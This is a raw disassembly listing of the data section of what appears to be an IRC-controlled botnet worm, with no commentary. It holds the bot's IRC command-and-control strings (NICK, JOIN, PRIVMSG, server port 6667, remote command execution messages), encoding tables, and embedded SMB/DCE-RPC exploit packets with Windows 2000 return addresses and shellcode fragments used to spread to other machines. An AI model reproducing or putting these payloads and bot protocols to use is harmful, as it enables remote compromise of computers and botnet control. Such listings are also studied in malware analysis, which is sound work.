63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40A2D2+6Eo align 4 a43 db '43',0 ; DATA XREF: sub_40A2D2+41o align 4 dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 259B8h align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 577ED30h dd 2 dup(0) dword_419788 dd 5658h align 10h dword_419790 dd 4827598h dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 2DEB94F9h dd 3 dup(0) dword_4197B4 dd 2E6BE5C8h align 10h dword_4197C0 dd 2E5B8h align 8 dword_4197C8 dd 2495E5C8h dd 2 dup(0) dword_4197D4 dd 24858h dd 0 dword_4197DC dd 21DFB0F8h dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 26809888h dd 2 dup(0) dword_419818 dd 266E8h align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 91DF38h dd 2 dup(0) dword_419844 dd 2343003h, 2037325haHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o ; .data:0041BD98o align 4 dword_419898 dd 42A40FB6h dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 151858h align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; sub_40A9CF:loc_40C011o ... dword_41996C dd 24858h dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0B7DFB102h dd 3 dup(0) dword_41999C dd 4B836E8h dd 2 dup(0) dword_4199A8 dd 3E08h align 10h dword_4199B0 dd 952EF8h dd 2 dup(0) dword_4199BC dd 22F78h dd 0 dword_4199C4 dd 59D83703h dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 1197E8h align 10h dword_419A10 dd 2AEC3778h dd 2 dup(0) dword_419A1C dd 22DB0h dd 0 dword_419A24 dd 155E78h align 10h dword_419A30 dd 135A78h dd 2 dup(0) aModeS db 'MODE %s',0 ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 121930h align 10h dword_419A50 dd 0D0EBFCFDh align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 90F030h dd 2 dup(0) dword_419A88 dd 29FB0h align 10h dword_419A90 dd 58EE830h dd 2 dup(0) dword_419A9C dd 25570h dd 0 dword_419AA4 dd 969E58h align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 0FF778h dd 2 dup(0) dword_419AC4 dd 0FB288h align 10h aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... align 4 dword_419ADC dd 12A488h dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 55D1DB0h dd 2 dup(0) dword_419B08 dd 85A058h dd 2 dup(0) dword_419B14 dd 988A30h align 10h dword_419B20 dd 53005939h align 10h dword_419B30 dd 2AD87238h dd 2 dup(0) dword_419B3C dd 903F4F39h dd 3 dup(0) dword_419B4C dd 3F53B78h dd 2 dup(0) dword_419B58 dd 1054F8h dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 2AC15529h dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 90DB78h align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 27B78h align 8 dword_419BE8 dd 0F669DEC8h dd 3 dup(0) dword_419BF8 dd 51AF03CEh dd 4 dup(0) dword_419C0C dd 560C8BD9h dd 3 dup(0) dword_419C1C dd 125EC8h dd 2 dup(0) dword_419C28 dd 23B2DEC8h dd 2 dup(0) dword_419C34 dd 3E3DEC8h align 10h dword_419C40 dd 2AC19078h dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0dword_419C5C dd 3D18h dd 0 dword_419C64 dd 25CB99D8h align 10h dword_419C70 dd 26F91BF8h dd 2 dup(0) dword_419C7C dd 26F7D4F8h dd 2 dup(0) dword_419C88 dd 0BA3DCE82h dd 3 dup(0) dword_419C98 dd 0BA3E0C3Ah dd 3 dup(0) dword_419CA8 dd 27740A05h dd 3 dup(0) dword_419CB8 dd 3F2F239h dd 3 dup(0) dword_419CC8 dd 12E5F8h dd 2 dup(0) dword_419CD4 dd 11709839h dd 3 dup(0) dword_419CE4 dd 24EBDF78h align 10h dword_419CF0 dd 1274D8h dd 2 dup(0) dword_419CFC dd 119530h dd 2 dup(0) dword_419D08 dd 5070h align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0dword_419D78 dd 2333003h, 2034B4Fh, 0dword_419D84 dd 9Ah, 0 dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h ; DATA XREF: sub_40A9CF+790o dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0) dword_419DB0 dd 4CFC788h dd 2 dup(0) dword_419DBC dd 225CC0D9h dd 3 dup(0) dword_419DCC dd 16C4931h dd 3 dup(0) dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh ; DATA XREF: sub_40A9CF+534o dd 87F6CDABh, 2 dup(0) dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: sub_40A9CF+437o dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h dd 0BDB1F9BBh, 2 dup(0) dword_419E48 dd 21CC8h align 10h dword_419E50 dd 3F1EAF9h align 10h dword_419E60 dd 3EDD4F9h align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 242660F8h dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h dword_419EC4 dd 2B7260F8h align 10h dword_419ED0 dd 8EB758h dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 473EDB0h dd 2 dup(0) aNickS db 'NICK %s',0 ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 1685E8h dd 2 dup(0) dword_419F18 dd 3C1A6B1h dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 aMessage db 'message ',0 ; DATA XREF: sub_40D53F:loc_40D629o align 4 dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Ehdword_41A0E0 dd 4950013Ah, 474Ehdword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Ehdword_41A138 dd 4556013Ah, 4F495352h, 4EhaSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43haPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 dd 5C28F5C3h, 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 aAjAj db '!^J!^J',0 align 4 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 dd 2 dup(7FFDE0CCh), 0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h a__ db 0Dh,0Ah ; DATA XREF: sub_410649+59o ; sub_410B52+Fo db '\_/.',0 align 10h dword_41A7B0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0)dword_41A818 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 dword_41A894 dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFhdword_41A8A0 dd 530458Bh, 0FFFFFB24h, 0E0FFhdword_41A8AC dd 19EB10EBh, 0 dword_41A8B4 dd 0FFFF04EBh, 0FFFFhdword_41A8BC dd 4EB04EBh, 0 dword_41A8C4 dd 0FFFF04EBh, 0FFFFhoff_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h dword_41A8DC dd 7FFDE0EBh dword_41A8E0 dd 18759Fh dword_41A8E4 dd 1001C59h dword_41A8E8 dd 1B0B0Bh dword_41A8EC dd 6EBh dword_41A8F0 dd 0F4EBh, 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410649+FBo dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) dd 1CEC8166h, 0E4FF07h, 1004600h, 7515123Ch, 751C123Ch dd 42B68ABAh, 42D01E50h, 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 aEu4 db 1Bh,'¥î4',0 align 4 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 